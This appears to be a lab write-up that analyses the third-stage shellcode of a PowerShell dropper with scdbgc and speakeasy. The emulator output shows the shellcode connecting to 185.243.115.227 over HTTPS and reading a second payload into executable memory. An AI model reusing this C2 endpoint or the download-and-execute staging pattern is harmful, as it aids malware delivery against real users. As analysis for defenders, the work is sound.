Dropper

3048.ps1

Author: Moise Medici
Updated: 13 Sept 2026 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Command Execution via Powershell Cmd Bash In-Process Shellcode Execution Command and Control C2 Communication Dropping Secondary Payloads
Tags: ps1 shellcode

stage3.bin Code Analysis

To analyse shellcode there are two main utilities: scdbgc (shellcode debug console) and speakeasy.

Starting with the first one, /f is used to define the file to analyze, and /s -1 defines the number of steps to run, with -1 being unlimited. This prevents the tool from stopping once a certain number of operations has been reached.

The output shows scdbgc failing due to an unsupported opcode.

1
$ scdbgc /f stage3.bin /s -1
2
Loaded 2d3 bytes from file stage3.bin
3
Initialization Complete..
4
Max Steps: -1
5
Using base offset: 0x401000
6

7
4010e1   opcode 6e not supported
8

9
4010e1   6E                              outsb           step: 10  foffset: e1
10
eax=fffffffe  ecx=ffffffff  edx=0         ebx=0
11
esp=12fdfc    ebp=40100a    esi=696e6977  edi=0          EFL 84 P S
12

13
4010e2   657400                          ?? jz 0x4010e5  vv
14
4010e5   41                              inc ecx
15
4010e6   56                              push esi
16
4010e7   48                              dec eax
17

18
Stepcount 10

Moving on to speakeasy. Because we know the target file is not a PE, the raw option of speakeasy is needed via --raw. I am not sure why the emulator was failing without --arch: testing it first with x86 failed with 0x10d6: shellcode: Caught error: invalid_read, while it worked with x64.

The output of the command is more or less straightforward to read, with the important lines highlighted below:

1
$ speakeasy -t stage3.bin --raw --arch x64
2
* exec: shellcode
3
0x10f3: 'kernel32.LoadLibraryA("wininet")' -> 0x7bc00000
4
0x110e: 'wininet.InternetOpenA("", 0x0, 0x0, 0x0, 0x0)' -> 0x20
5
0x1142: 'wininet.InternetConnectA(0x20, "185.243.115.227", 0x1bb, 0x0, 0x0, 0x3, 0x0, 0x0)' -> 0x24
6
0x1210: 'wininet.HttpOpenRequestA(0x24, 0x0, "/DZohRccBJxOZkZiTxPECkwYxaxM0b8wUJgwVC2tXrdsd4M3LVQ9Emi6d036V0wErFx26Vn-XvXE_YFtCGZAZo40gGUa0qgQ790MQ-_3rymr9zE4ZsNheCfZzx3fiOoa8wuNEitoEVT5nSH1O9GAf7bJZabC34Q2QCuhU_v", 0x0, 0x0, 0x0, "INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE", 0x0)' -> 0x28
7
0x1235: 'wininet.InternetSetOptionA(0x28, 0x1f, 0x1203eb0, 0x4)' -> 0x1
8
0x124e: 'wininet.HttpSendRequestA(0x28, 0x0, 0x0, 0x0, 0x0)' -> 0x1
9
0x128f: 'kernel32.VirtualAlloc(0x0, 0x400000, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x450000
10
0x12b2: 'wininet.InternetReadFile(0x28, 0x450000, 0x2000, 0x1203e30)' -> 0x1
11
0x12b2: 'wininet.InternetReadFile(0x28, 0x451000, 0x2000, 0x1203e30)' -> 0x1
12
0x450012: Unhandled interrupt: intnum=0x3
13
0x450012: shellcode: Caught error: unhandled_interrupt
14
* Finished emulating

There is a connection against 185.243.115.227, at resource /DZohRccBJxOZkZiTxPECkwYxaxM0b8wUJgwVC2tXrdsd4M3LVQ9Emi6d036V0wErFx26Vn-XvXE_YFtCGZAZo40gGUa0qgQ790MQ-_3rymr9zE4ZsNheCfZzx3fiOoa8wuNEitoEVT5nSH1O9GAf7bJZabC34Q2QCuhU_v.

There is another VirtualAlloc with the same RWX permissions. The function returns the address 0x450000, which is used in the InternetReadFile call just below, indicating that another payload is downloaded from the URL and is probably going to be executed.